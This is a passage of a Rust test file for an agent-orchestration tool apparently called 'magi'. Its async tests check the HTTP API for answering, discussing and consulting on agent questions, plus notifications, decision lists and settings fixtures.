13077 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13078 assert_eq!(res.status, 200, "{}", res.body);
13079 let body = res.json();
13080 assert_eq!(body["status"], "answered");
13081 assert_eq!(body["answer"]["choice"], "Redis");
13082
13083 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13087 assert_eq!(again.status, 409, "{}", again.body);
13088 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13089 }
13090
13091 #[tokio::test]
13092 async fn fresh_api_answers_survive_task_inquiry_migration() {
13093 use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13094 for migrate_first in [false, true] {
13095 let fx = Fixture::start().await;
13096 let mut task = Task::new(
13097 "work".into(),
13098 "work".into(),
13099 PathBuf::from("/repo/magi"),
13100 Source::Human,
13101 );
13102 task.runs.push("run-a".into());
13103 fx.queue().put(&mut task).unwrap();
13104 let mut q = Question::new(
13105 "run-a".into(),
13106 "implement".into(),
13107 "impl-A".into(),
13108 "Keep held?".into(),
13109 String::new(),
13110 vec!["hold".into()],
13111 );
13112 q.actions.insert("hold".into(), ChoiceAction::Hold);
13113 fx.questions().put(&mut q).unwrap();
13114 if migrate_first {
13115 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13116 }
13117 let response = fx
13118 .post(
13119 &format!("/api/questions/{}/answer", q.id),
13120 Some(r#"{"choice":"hold"}"#),
13121 )
13122 .await;
13123 assert_eq!(response.status, 200, "{}", response.body);
13124 for _ in 0..2 {
13125 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13126 let source = fx.questions().get(&q.id).unwrap();
13127 assert_eq!(source.resolution().as_deref(), Some("hold"));
13128 let decision = Outbox::at(fx.home.path())
13129 .get(&q.id)
13130 .unwrap()
13131 .decision
13132 .unwrap();
13133 assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13134 assert_eq!(decision.source_answer_at, source.answered_at);
13135 assert_eq!(decision.status, Status::Queued);
13136 }
13137 assert_eq!(
13138 fx.post(
13139 &format!("/api/questions/{}/answer", q.id),
13140 Some(r#"{"choice":"hold"}"#)
13141 )
13142 .await
13143 .status,
13144 409
13145 );
13146 }
13147 }
13148
13149 #[tokio::test]
13150 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13151 let home = tempfile::tempdir().unwrap();
13152 let ui = delta_test_ui(home.path());
13153 let mut q = Question::new(
13154 "task".into(),
13155 crate::land::APPROVAL_NODE.into(),
13156 "land".into(),
13157 "Explain?".into(),
13158 String::new(),
13159 vec!["hold".into()],
13160 );
13161 q.deputy = Some(ask::Deputy::new("context".into()));
13162 ui.questions.put(&mut q).unwrap();
13163 let mut cfg = stub_config();
13164 cfg.daemon.max_deputies = 0;
13165 let mut status = crate::daemon::Status::new();
13166 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13167 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13168 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13169 let error = question_say(
13170 State(ui.clone()),
13171 Path(q.id.clone()),
13172 Ok(Json(NewSay {
13173 body: "Explain the findings".into(),
13174 })),
13175 )
13176 .await
13177 .unwrap_err();
13178 assert_eq!(
13179 error.text_reason,
13180 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13181 );
13182 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13183
13184 let mut text = Question::new(
13185 "task".into(),
13186 "ask".into(),
13187 "operator".into(),
13188 "Which name?".into(),
13189 String::new(),
13190 vec![],
13191 );
13192 ui.questions.put(&mut text).unwrap();
13193 let Json(view) = question_answer(
13194 State(ui.clone()),
13195 Path(text.id.clone()),
13196 Ok(Json(NewAnswer {
13197 choice: None,
13198 text: Some("chosen name".into()),
13199 ..Default::default()
13200 })),
13201 )
13202 .await
13203 .unwrap();
13204 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13205 assert!(!ui.questions.get(&text.id).unwrap().status.open());
13206 }
13207
13208 #[tokio::test]
13209 async fn question_text_handler_admission_without_transport() {
13210 let home = tempfile::tempdir().unwrap();
13211 let ui = delta_test_ui(home.path());
13212 let mut q = Question::new(
13213 "task".into(),
13214 crate::land::APPROVAL_NODE.into(),
13215 "land".into(),
13216 "May this PR merge?".into(),
13217 String::new(),
13218 vec!["hold".into()],
13219 );
13220 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13221 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13222 ui.questions.put(&mut q).unwrap();
13223 let say = || {
13224 Ok(Json(NewSay {
13225 body: "Explain the findings".into(),
13226 }))
13227 };
13228 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13229 .await
13230 .unwrap_err();
13231 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13232 let response = rejected.into_response();
13233 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13234 .await
13235 .unwrap();
13236 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13237 assert_eq!(body["code"], "question_text_unavailable");
13238 assert_eq!(body["reason"], "deputy_exhausted");
13239 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13240 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13241 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13242 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13243 .await
13244 .unwrap();
13245 assert_eq!(view.text_delivery.state, "live");
13246 assert!(view.question.waiter.is_none());
13247 assert!(view.question.cwd.is_none());
13248 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13249 ui.questions.drop_lease(&q.id);
13250 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13251 .await
13252 .unwrap_err();
13253 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13254 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13255 let _ = question_answer(
13256 State(ui.clone()),
13257 Path(q.id.clone()),
13258 Ok(Json(NewAnswer {
13259 choice: Some("hold".into()),
13260 text: None,
13261 ..Default::default()
13262 })),
13263 )
13264 .await
13265 .unwrap();
13266 assert_eq!(
13267 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13268 Some("hold")
13269 );
13270 }
13271
13272 #[tokio::test]
13273 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13274 let fx = Fixture::start().await;
13275 let store = fx.questions();
13276 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13277 store
13278 .update(&id, |q| {
13279 q.node = crate::land::APPROVAL_NODE.to_owned();
13280 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13281 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13282 Ok(())
13283 })
13284 .unwrap();
13285 let path = format!("/api/questions/{id}/say");
13286 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13287 assert_eq!(refused.status, 422, "{}", refused.body);
13288 assert!(
13289 refused.json()["error"]
13290 .as_str()
13291 .unwrap()
13292 .contains("deputy_exhausted")
13293 );
13294 assert!(store.get(&id).unwrap().thread.is_empty());
13295
13296 store.beat(&id, ask::WaiterKind::Deputy);
13298 let view = fx.get("/api/questions").await.json();
13299 assert_eq!(view[0]["text_delivery"]["state"], "live");
13300 let accepted = fx
13301 .post(&path, Some(r#"{"body":"explain the findings"}"#))
13302 .await;
13303 assert_eq!(accepted.status, 200, "{}", accepted.body);
13304 let before = std::fs::read(store.path_of(&id)).unwrap();
13305
13306 store.drop_lease(&id);
13309 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13310 assert_eq!(refused.status, 422, "{}", refused.body);
13311 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13312 let held = fx
13313 .post(
13314 &format!("/api/questions/{id}/answer"),
13315 Some(r#"{"choice":"hold"}"#),
13316 )
13317 .await;
13318 assert_eq!(held.status, 200, "{}", held.body);
13319 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13320 }
13321
13322 #[tokio::test]
13323 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13324 let repo = tempfile::tempdir().unwrap();
13325 let mut cfg = stub_config();
13326 cfg.daemon.max_deputies = 0;
13327 std::fs::write(
13328 repo.path().join("magi.toml"),
13329 toml::to_string(&cfg).unwrap(),
13330 )
13331 .unwrap();
13332 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13333 let mut status = crate::daemon::Status::new();
13334 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13335 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13336 let id = ask(&fx, "Explain?", &["hold"]);
13337 fx.questions()
13338 .update(&id, |q| {
13339 q.node = crate::land::APPROVAL_NODE.into();
13340 q.deputy = Some(ask::Deputy::new("context".into()));
13341 q.deputy.as_mut().unwrap().agent = "stub".into();
13342 Ok(())
13343 })
13344 .unwrap();
13345 cfg.daemon.max_deputies = 1;
13346 std::fs::write(
13347 repo.path().join("magi.toml"),
13348 toml::to_string(&cfg).unwrap(),
13349 )
13350 .unwrap();
13351 let view = fx.get("/api/questions").await.json();
13352 assert_eq!(view[0]["deputies_enabled"], true);
13353 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13354 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13355 let res = fx
13356 .post(
13357 &format!("/api/questions/{id}/say"),
13358 Some(r#"{"body":"Please explain"}"#),
13359 )
13360 .await;
13361 assert_eq!(res.status, 422, "{}", res.body);
13362 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13363 }
13364
13365 #[tokio::test]
13366 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13367 let fx = Fixture::start().await;
13368 let id = ask(&fx, "No seat", &[]);
13369 let store = fx.questions();
13370 let before = std::fs::read(store.path_of(&id)).unwrap();
13371 let res = fx
13372 .post(
13373 &format!("/api/questions/{id}/say"),
13374 Some(r#"{"body":"hello"}"#),
13375 )
13376 .await;
13377 assert_eq!(res.status, 422, "{}", res.body);
13378 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13379 let res = fx
13380 .post(
13381 &format!("/api/questions/{id}/answer"),
13382 Some(r#"{"text":"hello"}"#),
13383 )
13384 .await;
13385 assert_eq!(res.status, 200, "{}", res.body);
13386 assert_eq!(
13387 store.get(&id).unwrap().resolution().as_deref(),
13388 Some("hello")
13389 );
13390 }
13391
13392 #[tokio::test]
13393 async fn saying_something_appends_a_turn_without_answering() {
13394 let fx = Fixture::start().await;
13395 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13396 fx.questions().beat(&id, ask::WaiterKind::Asker);
13397 let path = format!("/api/questions/{id}/say");
13398
13399 let res = fx
13400 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13401 .await;
13402 assert_eq!(res.status, 200, "{}", res.body);
13403 let body = res.json();
13404 assert_eq!(body["status"], "open", "talking back is not a decision");
13405 assert_eq!(body["answer"], Value::Null);
13406 assert_eq!(body["thread"][0]["who"], "operator");
13407 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13408 assert_eq!(body["waiting_on_agent"], true);
13409 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13411 }
13412
13413 #[tokio::test]
13414 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13415 let fx = Fixture::start().await;
13416 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13417
13418 let list = fx.get("/api/questions").await.json();
13419 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13420
13421 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13422 assert_eq!(res.status, 409, "{}", res.body);
13423 let q = fx.questions().get(&id).unwrap();
13424 assert!(q.status.open());
13425 assert!(q.consult.is_none());
13426 }
13427
13428 #[tokio::test]
13429 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13430 let fx = Fixture::start().await;
13431 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13432 let cfg = Config {
13433 agents: vec![crate::config::AgentSpec {
13434 id: "mock".to_owned(),
13435 kind: crate::config::AgentKind::Command,
13436 model: None,
13437 command: vec!["true".to_owned()],
13438 extra_args: Vec::new(),
13439 env: Default::default(),
13440 prompt_delivery: None,
13441 max_turn_secs: None,
13442 }],
13443 ..Config::default()
13444 };
13445 let talk = crate::talk::begin(
13446 &fx.talks(),
13447 &cfg,
13448 fx.home.path().to_path_buf(),
13449 Some("mock"),
13450 )
13451 .unwrap();
13452 let mut task = Task::new(
13453 "t".to_owned(),
13454 "Do it".to_owned(),
13455 PathBuf::from("/repo/magi"),
13456 Source::Agent {
13457 run: talk.id.clone(),
13458 node: crate::queue::CHAT_NODE.to_owned(),
13459 },
13460 );
13461 task.start("20260902-000000-beef".to_owned());
13462 fx.queue().put(&mut task).unwrap();
13463
13464 let list = fx.get("/api/questions").await.json();
13465 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13466 assert_eq!(
13467 list[0]["choices"],
13468 serde_json::json!(["SQLite", "Redis"]),
13469 "the hand-over is never a choice"
13470 );
13471 fx.questions()
13472 .update(&id, |q| {
13473 q.node = crate::land::APPROVAL_NODE.into();
13474 q.choices = vec!["merge".into(), "hold".into()];
13475 Ok(())
13476 })
13477 .unwrap();
13478 let list = fx.get("/api/questions").await.json();
13479 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13480 assert_eq!(list[0]["can_consult_chat"], true);
13481 fx.questions()
13482 .update(&id, |q| {
13483 q.node = crate::bump::NOTICE_NODE.into();
13484 Ok(())
13485 })
13486 .unwrap();
13487 let list = fx.get("/api/questions").await.json();
13488 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13489 assert_eq!(list[0]["can_consult_chat"], false);
13490 }
13491
13492 #[tokio::test]
13493 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13494 let fx = Fixture::start().await;
13495 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13496 fx.questions()
13497 .update(&id, |q| {
13498 q.node = crate::land::APPROVAL_NODE.into();
13499 q.choices = vec!["merge".into(), "hold".into()];
13500 Ok(())
13501 })
13502 .unwrap();
13503 let cfg = Config {
13504 agents: vec![crate::config::AgentSpec {
13505 id: "mock".to_owned(),
13506 kind: crate::config::AgentKind::Command,
13507 model: None,
13508 command: vec!["true".to_owned()],
13509 extra_args: Vec::new(),
13510 env: Default::default(),
13511 prompt_delivery: None,
13512 max_turn_secs: None,
13513 }],
13514 ..Config::default()
13515 };
13516 let repo = fx.home.path().join("chat-repo");
13518 std::fs::create_dir_all(&repo).unwrap();
13519 let toml = repo.join("magi.toml");
13520 std::fs::write(&toml, "this is = = not toml").unwrap();
13521 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13522 let mut task = Task::new(
13523 "t".to_owned(),
13524 "Do it".to_owned(),
13525 PathBuf::from("/repo/magi"),
13526 Source::Agent {
13527 run: talk.id.clone(),
13528 node: crate::queue::CHAT_NODE.to_owned(),
13529 },
13530 );
13531 task.start("20260902-000000-beef".to_owned());
13532 fx.queue().put(&mut task).unwrap();
13533
13534 let path = format!("/api/questions/{id}/consult");
13535 let res = fx.post(&path, None).await;
13536 assert!(res.status >= 400, "{}", res.body);
13537 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13538 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13539
13540 std::fs::write(&toml, "").unwrap();
13541 let res = fx.post(&path, None).await;
13542 assert_eq!(res.status, 202, "{}", res.body);
13543 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13544 let q = fx.questions().get(&id).unwrap();
13545 assert!(q.status.open());
13546 assert!(q.answer.is_none());
13547 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13548 assert_eq!(res.json()["can_consult_chat"], true);
13549 let list = fx.get("/api/questions").await.json();
13550 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13551 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13552
13553 let res = fx
13554 .post(
13555 &format!("/api/questions/{id}/answer"),
13556 Some(r#"{"choice":"hold"}"#),
13557 )
13558 .await;
13559 assert_eq!(res.status, 200, "{}", res.body);
13560 assert_eq!(res.json()["answer"]["choice"], "hold");
13561 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13562 assert_eq!(res.json()["can_consult_chat"], false);
13563 assert_eq!(fx.post(&path, None).await.status, 409);
13564
13565 let mut talk = fx.talks().get(&talk.id).unwrap();
13566 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13567 let list = fx.get("/api/questions").await.json();
13568 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13569 assert_eq!(list[0]["origin_chat_closed"], true);
13570 assert_eq!(list[0]["can_consult_chat"], false);
13571
13572 fx.talks().remove(&talk.id).unwrap();
13573 let list = fx.get("/api/questions").await.json();
13574 assert_eq!(list[0]["origin_chat"], Value::Null);
13575 assert_eq!(list[0]["origin_chat_closed"], false);
13576 assert_eq!(list[0]["can_consult_chat"], false);
13577 }
13578
13579 #[tokio::test]
13580 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13581 let fx = Fixture::start().await;
13582 let store = fx.questions();
13583 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13584 store.beat(&id, ask::WaiterKind::Asker);
13585 assert_eq!(
13586 fx.get("/api/health").await.json()["questions_needs_owner"],
13587 1
13588 );
13589
13590 let res = fx
13596 .post(
13597 &format!("/api/questions/{id}/say"),
13598 Some(r#"{"body":"why not Postgres?"}"#),
13599 )
13600 .await;
13601 assert_eq!(res.status, 200, "{}", res.body);
13602 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13603 assert_eq!(
13604 fx.get("/api/health").await.json()["questions_needs_owner"],
13605 0,
13606 "waiting on the agent is not waiting on the owner"
13607 );
13608
13609 let mut q = store.get(&id).expect("get");
13613 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13614 .expect("reply");
13615 store.put(&mut q).expect("put");
13616 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13617 assert_eq!(
13618 fx.get("/api/health").await.json()["questions_needs_owner"],
13619 1,
13620 "the agent's reply is what should light the banner back up"
13621 );
13622 }
13623
13624 #[tokio::test]
13625 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13626 let fx = Fixture::start().await;
13627 let store = fx.questions();
13628
13629 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13630 let res = fx
13631 .post(
13632 &format!("/api/questions/{empty_id}/say"),
13633 Some(r#"{"body":" "}"#),
13634 )
13635 .await;
13636 assert_eq!(res.status, 400, "{}", res.body);
13637
13638 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13639 let mut answered = store.get(&answered_id).expect("get");
13640 answered
13641 .answer(Answer::Choice("SQLite".to_owned()))
13642 .expect("answer");
13643 store.put(&mut answered).expect("put");
13644 let res = fx
13645 .post(
13646 &format!("/api/questions/{answered_id}/say"),
13647 Some(r#"{"body":"still there?"}"#),
13648 )
13649 .await;
13650 assert_eq!(res.status, 409, "{}", res.body);
13651
13652 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13653 let mut abandoned = store.get(&abandoned_id).expect("get");
13654 abandoned.abandon("timed out");
13655 store.put(&mut abandoned).expect("put");
13656 let res = fx
13657 .post(
13658 &format!("/api/questions/{abandoned_id}/say"),
13659 Some(r#"{"body":"still there?"}"#),
13660 )
13661 .await;
13662 assert_eq!(res.status, 409, "{}", res.body);
13663 }
13664
13665 #[tokio::test]
13666 async fn an_answer_the_question_does_not_offer_is_refused() {
13667 let fx = Fixture::start().await;
13668 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13669 let path = format!("/api/questions/{id}/answer");
13670
13671 for body in [
13672 r#"{"choice":"Postgres"}"#,
13673 r#"{"text":"whatever you think"}"#,
13674 r#"{"choice":"Redis","text":"both"}"#,
13675 r#"{}"#,
13676 ] {
13677 let res = fx.post(&path, Some(body)).await;
13678 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13679 assert!(res.json()["error"].is_string(), "{}", res.body);
13680 }
13681 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13683 }
13684
13685 #[tokio::test]
13686 async fn a_free_text_question_takes_text_and_not_a_choice() {
13687 let fx = Fixture::start().await;
13688 let id = ask(&fx, "What should the flag be called?", &[]);
13689 fx.questions().beat(&id, ask::WaiterKind::Asker);
13690 let path = format!("/api/questions/{id}/answer");
13691
13692 assert_eq!(
13693 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13694 400
13695 );
13696 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13697 assert_eq!(res.status, 200, "{}", res.body);
13698 assert_eq!(res.json()["answer"]["text"], "--json");
13699 }
13700
13701 #[tokio::test]
13702 async fn an_unknown_question_is_a_json_404() {
13703 let fx = Fixture::start().await;
13704 let res = fx
13705 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13706 .await;
13707 assert_eq!(res.status, 404, "{}", res.body);
13708 assert!(res.json()["error"].is_string());
13709 }
13710
13711 #[tokio::test]
13712 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13713 let fx = Fixture::start().await;
13714 let questions = Questions::at(fx.home.path().join("questions"));
13715 let store = Notices::at(fx.home.path().join("notifications"));
13716 let mut q = ask::Question::new(
13717 "t1".into(),
13718 "conduct".into(),
13719 "conductor".into(),
13720 "Continue?".into(),
13721 String::new(),
13722 Vec::new(),
13723 );
13724 questions.put(&mut q).unwrap();
13725 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13726 n.covered_by = Some(q.id.clone());
13727 let n = store.raise(n).unwrap();
13728 let listed = fx.get("/api/notifications").await.json();
13729 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13730 questions
13731 .update(&q.id, |q| {
13732 q.abandon("run gone");
13733 Ok(())
13734 })
13735 .unwrap();
13736 let listed = fx.get("/api/notifications").await.json();
13737 assert!(listed["items"][0]["answerable_question"].is_null());
13738 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13739 assert!(
13740 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13741 .unwrap()
13742 .contains("answerable_question")
13743 );
13744 }
13745
13746 #[tokio::test]
13747 async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13748 let fx = Fixture::start().await;
13749 let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13750 let task = crate::queue::Task::new(
13751 "work".into(),
13752 "work".into(),
13753 fx.home.path().into(),
13754 crate::queue::Source::Human,
13755 );
13756 let inquiry = outbox
13757 .file(&task, None, "test".into(), "入力待ち", "詳細")
13758 .unwrap();
13759 let root = fx.home.path().join("notifications/task-inquiries");
13760 std::fs::write(root.join("broken.json"), "{").unwrap();
13761 let mut unsupported = inquiry.clone();
13762 unsupported.id = "unsupported".into();
13763 unsupported.schema = 99;
13764 std::fs::write(
13765 root.join("unsupported.json"),
13766 serde_json::to_vec(&unsupported).unwrap(),
13767 )
13768 .unwrap();
13769 let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13770 for _ in 0..2 {
13771 let response = fx.get("/api/decisions").await;
13772 assert_eq!(response.status, 200, "{}", response.body);
13773 let listed = response.json();
13774 assert_eq!(listed["unreadable"], 2);
13775 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13776 assert_eq!(listed["items"][0]["id"], inquiry.id);
13777 assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13778 }
13779 assert_eq!(
13780 before,
13781 std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13782 );
13783 assert!(outbox.list().is_err());
13784 std::fs::remove_file(root.join("broken.json")).unwrap();
13785 std::fs::remove_file(root.join("unsupported.json")).unwrap();
13786 assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13787 }
13788
13789 #[tokio::test]
13790 async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13791 let fx = Fixture::start().await;
13792 let root = fx.home.path().join("notifications/task-chat-migration-v1");
13793 std::fs::create_dir_all(&root).unwrap();
13794 let journal = serde_json::json!({
13795 "schema": 1, "pending": ["saved-inquiry"],
13796 "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13797 });
13798 let bytes = serde_json::to_vec(&journal).unwrap();
13799 std::fs::write(root.join("state.json"), &bytes).unwrap();
13800 for _ in 0..2 {
13801 let response = fx.get("/api/decisions").await;
13802 assert_eq!(response.status, 200);
13803 let listed = response.json();
13804 assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
13805 assert!(listed["items"].as_array().unwrap().is_empty());
13806 assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
13807 }
13808 std::fs::write(root.join("state.json"), b"{").unwrap();
13810 let response = fx.get("/api/decisions").await;
13811 assert_eq!(response.status, 200);
13812 assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
13813 }
13814
13815 #[tokio::test]
13816 async fn notifications_list_read_dismiss_and_health_agree() {
13817 let fx = Fixture::start().await;
13818 let store = Notices::at(fx.home.path().join("notifications"));
13819 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13820 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13821
13822 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13823 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13824
13825 store
13826 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13827 .unwrap();
13828 let health = fx.get("/api/health").await.json();
13829 assert_eq!(health["notifications_unread"], 2);
13830 assert_ne!(
13831 health["notifications_rev"], rev0,
13832 "the badge must move live"
13833 );
13834
13835 let listed = fx.get("/api/notifications").await.json();
13836 assert_eq!(listed["unread"], 2);
13837 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13838 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13839
13840 let read = fx
13841 .post(&format!("/api/notifications/{}/read", a.id), None)
13842 .await;
13843 assert_eq!(read.status, 200, "{}", read.body);
13844 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13845
13846 let gone = fx
13847 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13848 .await;
13849 assert_eq!(gone.status, 200, "{}", gone.body);
13850 let listed = fx.get("/api/notifications").await.json();
13851 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13852 assert_eq!(listed["unread"], 0);
13853
13854 store.raise(Notice::info("x", "again")).unwrap();
13855 let all = fx.post("/api/notifications/read-all", None).await;
13856 assert_eq!(all.status, 200, "{}", all.body);
13857 assert_eq!(all.json()["marked"], 1);
13858 assert_eq!(
13859 fx.get("/api/health").await.json()["notifications_unread"],
13860 0
13861 );
13862
13863 let missing = fx.post("/api/notifications/nope/read", None).await;
13864 assert_eq!(missing.status, 404, "{}", missing.body);
13865 assert!(missing.json()["error"].is_string());
13866 }
13867
13868 #[tokio::test]
13875 async fn a_task_cannot_be_filed_over_the_phone_directly() {
13876 let f = Fixture::start().await;
13877
13878 let res = f
13879 .post(
13880 "/api/queue",
13881 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13882 )
13883 .await;
13884
13885 assert_eq!(
13886 res.status, 405,
13887 "POST /api/queue must not be a route: {}",
13888 res.body
13889 );
13890 assert!(
13891 f.queue().list().is_empty(),
13892 "a task filed by a route that does not exist must not reach the disk"
13893 );
13894 assert_eq!(f.get("/api/queue").await.status, 200);
13897 }
13898
13899 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13901 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13902 .expect("checkout dir");
13903 }
13904
13905 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13907
13908 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13909 let tmp = TempDir::new().expect("tempdir");
13910 let repo = tmp.path().join("repo");
13911 std::fs::create_dir_all(&repo).expect("repo dir");
13912 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13913 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13914 if let Some(text) = machine_toml {
13915 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13916 std::fs::write(&machine, text).expect("machine toml");
13917 }
13918 (tmp, repo, machine)
13919 }
13920
13921 async fn settings_checkout(path: &FsPath, text: &str) {
13922 std::fs::create_dir_all(path).unwrap();
13923 std::fs::write(path.join("magi.toml"), text).unwrap();
13924 for args in [
13925 vec!["init", "-b", "main"],
13926 vec!["add", "magi.toml"],
13927 vec![
13928 "-c",
13929 "user.name=Test",
13930 "-c",
13931 "user.email=test@example.invalid",
13932 "commit",
13933 "-m",
13934 "fixture",
13935 ],
13936 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13937 vec![
13938 "symbolic-ref",
13939 "refs/remotes/origin/HEAD",
13940 "refs/remotes/origin/main",
13941 ],
13942 ] {
13943 crate::git::git(path, &args).await.unwrap();
13944 }
13945 }
13946
13947 #[tokio::test]
13948 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13949 let (tmp, repo, machine) =
13950 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13951 let root = tmp.path().join("roots");
13952 let selected = root.join("host/owner/selected");
